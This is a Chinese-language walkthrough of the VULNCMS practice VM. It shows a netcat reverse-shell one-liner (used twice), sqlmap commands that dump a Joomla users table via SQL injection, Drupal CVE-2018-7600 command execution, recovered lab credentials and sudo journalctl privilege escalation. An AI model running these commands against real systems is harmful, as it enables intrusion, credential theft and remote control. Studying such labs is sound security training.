VULNCMS靶机

环境准备

靶机链接：百度网盘 请输入提取码

提取码：i3j0

虚拟机网络链接模式：桥接模式

攻击机系统：kali linux 2022.03

信息收集

1.查看靶机ip地址

2.探测目标靶机开放端口和服务情况。

nmap -p- -sV -A 192.168.1.108

漏洞利用

（1）wordpress

1.fsociety.web域名添加到/etc/hosts下，正常访问5000端口的wordpress网站

进入wp-login目录，是一个执行命令的界面

2.直接进行反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 4444 >/tmp/f

（2）joomla

1.利用joomscan 扫描攻击，对joomla进行漏洞探测

joomscan -u http://fsociety.web:8081/ -e

2.发现其版本是3.4.3，找到脚本进行漏洞利用

searchsploit joomla 3.4.3

3.查看脚本代码，发现sql注入漏洞

http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]

2.用sqlmap进行爆破数据库

sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=* " --dbs --batch

使用 sqlmap 尝试注入，注意点用*号代替

3.爆破表名

sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=* " -D "joomla_db" --tables --batch

4.爆列

sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=* " -D "joomla_db" -T "hs23w_users" --columns --batch

5.爆字段

sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=* " -D "joomla_db" -T "hs23w_users" -C "username,password,name,email" --dump --batch

6. 虽然密码加密，但是 email 列有一个看起来像密码
账户：elliot
密码：5T3e!_M0un7i@N

（3）drupal

1.访问网页看到是drupal7 ,进行谷歌查看exp

2.找到cve-2018-7600,查看利用方法

3.执行脚本，执行的id

./drupa7-CVE-2018-7600.py http://192.168.1.108:9001/

4.用-c参数，命令执行ls

./drupa7-CVE-2018-7600.py http://192.168.1.108:9001/ -c 'ls'

5.直接进行反弹shell操作

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.107 4444 >/tmp/f

权限提升

1.用python反弹一个交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

2.上传检查脚本，linpeas.sh(github里有)给执行权限，运行后找到用户名和密码。

tyrell

mR_R0bo7_i5_R3@!_

3.sudo -l 查找sudo权限的文件

(root) NOPASSWD: /bin/journalctl

直接执行，提权成功！！！